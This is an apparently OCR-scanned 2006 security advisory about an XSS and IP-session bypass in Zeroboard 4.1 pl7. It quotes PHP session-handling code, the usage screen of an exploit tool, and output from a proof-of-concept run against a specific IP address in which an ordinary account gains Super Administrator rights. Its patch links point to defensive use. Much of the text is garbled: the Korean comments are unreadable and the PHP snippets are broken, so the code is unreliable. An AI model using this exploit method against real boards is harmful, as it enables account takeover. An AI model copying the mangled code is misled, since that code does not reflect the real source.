INetCop Security Advisory #2006-0x82-029

Title: zeroboard XSS IP session bypass exploit vulnerability.

0x01. Description
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bbs/login_check.php:
24/ YRR AFEIS AT AAS AL Ho|AE o|FF
25 if(fmember_data[no]) {
26
27 if($auto_login) {
28 makeZBSessionID($member_data[no]);
29 }
30
31 /] 4.0x & AR A
32 $zb_logged_no = $member_data[nol;
33 $zb_logged_time = time();
34 $zb_logged_ip = SREMOTE_ADDR; <--- 2%1 A],IP 7]&
35 $zb_last_connect_check ="'0";
36
37 session_register("zb_logged_no");
38 session_register("zb_logged_time");
39 session_register("zb_logged_ip");

40 session_register("zb_last_connect_check");
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bbs/lib.php:
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} elseif($HTTP_SESSION_VARS["zb_logged_no"]) {
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98 if(time(O-$HTTP_SESSION_VARS|["zb_logged_time" >
$_zbDefaultSetup["login_time"]| | SHTTP_SESSION_VARS["zb_logged_ip" |'=SREMOTE_ADDR)
{
99
100 $zb_logged_no=""; // A %738}
101 $zb_logged_time="";
102 $zb_logged_ip="";
103 session_register("zb_logged_no");
104 session_register("zb_logged_ip");
105 session_register("zb_logged_time");
106 session_destroy();
107
108 /l F2Z A5 22 NS oA AR
109 } else {
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http://x82.inetcop.org/h0me/papers/iframe_tag_exploit.txt

0x02. Vulnerable Packages

Vendor site: http://www.nzeo.com/

Zeroboard 4.1 pl 7 HA& X3 o]} HA
-zb41pl7.tar.Z

0x03. Exploit
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[#82@1localhost html]$ ./8x82-zerBuser
Bx82-zerBuser - Zeroboard 4.1 pl7 send message iframe+ XS5 exploit
Usage: Bx82-zerBuser [-options] [arguments]

[host] - Host address

[port] — Host port number

[name ] Board name

[id] Hormal user id

[passud] User password

[path] zboard url path
Help screen.

Ex> Bx82-zerBuser -t localhost -b free -i hax@r -p pass -u 'zboard/bbs®

[x82@1localhost html]$ ]


http://www.nzeo.com/

POC exploit code A3 #A:
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[%82@1localhost html]y ./8x82-zerBuser -t 221.154.133.48 -bboardi -i hacker -p 13
1212 -u ‘bbs_test’

8x82-zerBuser — Zeroboard 4.1 pl7 send message iframe+ ¥SS exploit

login success.

group_no is 1

member _no is 9

exploit send successfully.
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inbox :Sent : UserList/Write HH LM ER
v subject from date :
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[T & hella warld hacker 02017
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Z2:(0) | &) http://221, 154,133, 40/bbs _test/member_memo3d, php
AL
Inbox :Sent : UserList/Write
Level [[1]
Super Administrator(1) admin
Super Administrator(1) hacker
I [+ Online
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0x04. Patch
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URL: http://inetcop.net/upfiles/Zeroboard—4.1_pl7_patch.tgz
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URL: http://www.nzeo.com/bbs/zboard.php?id=cgi_bugreport2&no=5406
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By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,

xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org
My World: http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/hOme/prOfile/x82.k3y
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